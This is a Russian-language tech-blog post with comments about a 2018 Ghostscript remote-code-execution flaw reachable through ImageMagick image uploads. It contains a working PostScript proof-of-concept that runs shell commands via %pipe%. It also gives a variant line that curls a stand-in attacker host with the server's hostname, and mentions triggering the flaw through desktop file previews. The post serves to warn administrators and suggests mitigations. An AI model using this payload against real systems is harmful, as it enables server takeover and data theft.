Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?

Как проверить, что ваш сервер уязвим?

Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).

userdict /setpagedevice undef
a4

currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops

{ showpage } stopped pop
quit

Ключевая команда: sleep 5

Альтернативной командой может быть

mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

или что-то гораздо менее безобидное.

Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

Что делать?

К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии.

На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.

UPD: в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!

Комментарии (5)


  1. helgihabr
    05.09.2018 14:20
    +2

    Не хватает опции: уязвим и пока не исправлен. Спасибо!


    1. slonpts
      05.09.2018 16:47
      +1

      Я думаю, это такое напоминание о том, что сервера таки надо обновить.


    1. Akuma
      05.09.2018 16:51

      И список сайтов в приложении :)


  1. vgray
    06.09.2018 08:58
    +1

    К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии — нужна та что свежее 28 августа.

    Судя по обсуждению, баги все еще есть, сообщение размещено 11 часов назад.
    bugs.chromium.org/p/project-zero/issues/detail?id=1640
    Last night Artifex committed this fix for 699714:

    I didn't think that fix was complete, and found a trivial variant that still works, which I filed as bug 699718.

    $ ./gs -dSAFER bug699718.txt
    GPL Ghostscript GIT PRERELEASE 9.25 (2018-09-03)
    Copyright © 2018 Artifex Software, Inc. All rights reserved.
    This software comes with NO WARRANTY: see the file PUBLIC for details.
    uid=1000(taviso) gid=1000(primarygroup)

    Т.е. все равно можно творить безобразия. Проверял сервисы конвертирования картинкок на уязвимости (чтобы написать владельцам), порадовал конвертер из heic — heic2jpeg.com, если ему подсунуть PS файл то выдает картинку с просьбой его не хакать, а лучше оформить донат :)


    1. kid Автор
      06.09.2018 10:43

      Похоже что исправление может растянуться надолго :( обновил пост

      С донатом интересная пасхалка =)